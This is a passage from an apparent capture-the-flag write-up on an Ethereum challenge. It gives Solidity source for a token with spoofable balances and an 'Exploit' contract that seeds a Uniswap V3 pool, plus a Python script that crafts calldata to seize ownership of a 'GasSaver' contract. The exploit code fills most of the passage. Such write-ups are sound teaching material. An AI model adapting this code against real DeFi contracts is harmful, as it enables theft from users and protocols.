            return true;
        }
        return super.transfer(account,value);
    }

    function toggleSpoofBalance(bool toggle) public {
        spoofBalance = toggle;
    }
}

Below is the implementation of the Exploit contract that I used to deploy and mint liquidity for the custom pool.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "src/Token.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";

contract Exploit {
    Token public token0;
    Token public token1;
    IUniswapV3Pool public pool;

    address public gasSaver;

    constructor(address gasSaver_) {
        gasSaver = gasSaver_;
    }

    function init() external {
        // Deploy tokens
        address tokenA = address(new Token(gasSaver));
        address tokenB = address(new Token(gasSaver));

        // Sort tokens
        (address token0_, address token1_) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        token0 = Token(token0_);
        token1 = Token(token1_);

        // Mint to this address for initial liquidity
        token0.mint(address(this), 2**255);
        token1.mint(address(this), 2**255);

        // Create Uniswap V3 pool
        IUniswapV3Factory factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); // Uniswap V3 factory address
        pool = IUniswapV3Pool(factory.createPool(address(token0), address(token1), 500));

        /*
        The goal here is to provide liquidity such that when the pool do a swap callback,
        our given exactAmountIn (which is player address) in the swap can be fully executed.
        Intuitively, easiest way would be to provide huge liquidity on big range of tick.
        */

        // Initialize it to Tick 800_000 (I just choose random value)
        pool.initialize(18611883644907511909590774894315720731532604461);

        // Mint in range of Tick -800_000 and 800_100 (I just choose random value with huge range)
        // Notes that -800_000 is just a random value that I choose
        //
        // Provide max allowed liquidity
        uint128 maxLiquidityPerTick = 1917580707794349315672650982405402;
        pool.mint(address(this), -800_000, 800_100, maxLiquidityPerTick/2, "");

        // Toggle token0 spoof balance for swap purposes
        token0.toggleSpoofBalance(true);
    }

    function uniswapV3MintCallback(
        uint256 amount0Owed,
        uint256 amount1Owed,
        bytes calldata data
    ) external {
        if (amount0Owed > 0) {
            token0.transfer(msg.sender, amount0Owed);
        }
        if (amount1Owed > 0) {
            token1.transfer(msg.sender, amount1Owed);
        }
    }
}

Now, after deploying the Exploit and calling init() on it, we can prepare the calldata that we should pass to the GasSaver.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
pool   = 0x00000000000000000000000028ef9f0e8e8edc22d62da8d432bb7a8291c1baa5
token0 = 0x0000000000000000000000004403bdab9c3001fdc08cdcfc51d76a6622747b0a
token1 = 0x0000000000000000000000004b75b37ba3a1226f227546eeeb3bdb9987eccafc
payload = '0xd3'
payload += '44' # one-time MSTORE index
payload += '00' # padding
payload += hex(token0)[2:] # token 0 address
payload += hex(token1)[2:]
payload += '01f4' # fee
payload += '049e' # Jump location
payload += hex(pool)[2:] # target address call
payload += '000000000000000000000000' + player[2:] # swap amount, which is player address
print(payload)

Remember that we have a one-time mstore ability during execution of the 0xd3 path. I use it to set the amount of the swap(). Another thing to notice is that the address we call (which is taken from CALLDATALOAD[0x23]) is a bit dirty, but it’s fine because the upper 12 bytes won’t be used and only the last 20 bytes will be used for the address of the call.

Now, we can simply call the GasSaver with this calldata, and we will become the owner() :).

Flag: 0ops{Gr34t_EtH_gReAt_UuU_Yr_S0_G00d_4t_rev_and_Unisw4p_0x65DDbaBF2d31E444c0929BbE54f17eafE91A879a}

Social Media

Follow me on twitter